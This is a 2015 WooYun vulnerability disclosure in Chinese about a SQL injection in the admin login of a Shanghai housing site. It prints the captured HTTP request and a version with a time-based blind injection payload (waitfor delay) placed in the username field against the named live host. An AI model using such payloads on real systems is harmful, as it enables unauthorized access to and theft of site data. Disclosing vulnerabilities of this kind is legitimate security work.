漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0145044
漏洞标题：上海二手房网后台存在POST注入可导致全站数据泄露
相关厂商：谷粒软件技术（上海）有限公司
漏洞作者： Kiran
提交时间：2015-10-08 15:11
修复时间：2015-11-22 15:12
公开时间：2015-11-22 15:12
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：10
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-10-08： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-11-22： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
原来是个跨国公司
谷粒软件 Grain Tech Inc.(USA)总部位于美国加州，2003年于上海设立“谷粒软件技术(上海)有限公司”，辖设软件研发中心和客户服务培训中心，期能以顶尖的软件研发人员和房产中介资深精英相结合的服务团队， 致力于中国房地产中介资讯管理系统的研发，推广先进的房地产中介管理方法和战略实践。
。。。那么厉害后台存在注入，我也是醉了
详细说明：
后台post注入:http://www.xpchina.com/admin/admin_login.html
原始post包：
POST /admin/admin_login.html HTTP/1.1
Host: www.xpchina.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.xpchina.com
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded
Referer: http://www.xpchina.com/admin/admin_login.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASP.NET_SessionId=bjkwv4450he2lkykmmnd1e3v; lzstat_uv=24182331181057874701|1085625; lzstat_ss=2974346566_0_1444142673_1085625
Content-Length: 346
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE0MjMxNDEzNTVkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQtpbWdidG5Mb2dpbmvkBqoyV5vYOmDYMuCb8f1eOy5%2F&__EVENTVALIDATION=%2FwEWBgL544ifDQKUr4qdAwKZ%2B57VAgKd%2B7qdDgKpm8rxCgLHg6JXFiiyyQcYMwelXpy%2Fd9iWy53SUg8%3D&txtUsr=admin&txtPwd=admin&txtRand=20542&imgbtnLogin.x=39&imgbtnLogin.y=8
存在注入:
POST /admin/admin_login.html HTTP/1.1
Host: www.xpchina.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://www.xpchina.com
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded
Referer: http://www.xpchina.com/admin/admin_login.html
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: ASP.NET_SessionId=bjkwv4450he2lkykmmnd1e3v; lzstat_uv=24182331181057874701|1085625; lzstat_ss=2974346566_0_1444142673_1085625
Content-Length: 346
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE0MjMxNDEzNTVkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYBBQtpbWdidG5Mb2dpbmvkBqoyV5vYOmDYMuCb8f1eOy5%2F&__EVENTVALIDATION=%2FwEWBgL544ifDQKUr4qdAwKZ%2B57VAgKd%2B7qdDgKpm8rxCgLHg6JXFiiyyQcYMwelXpy%2Fd9iWy53SUg8%3D&txtUsr=admin')waitfor%20delay'0%3a0%3a20'--&txtPwd=admin&txtRand=20542&imgbtnLogin.x=39&imgbtnLogin.y=8
漏洞证明：
扫的太慢了...
就不继续下去了
理论是全站数据
修复方案：
让技术人员处理下吧
版权声明：转载请注明来源 Kiran@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝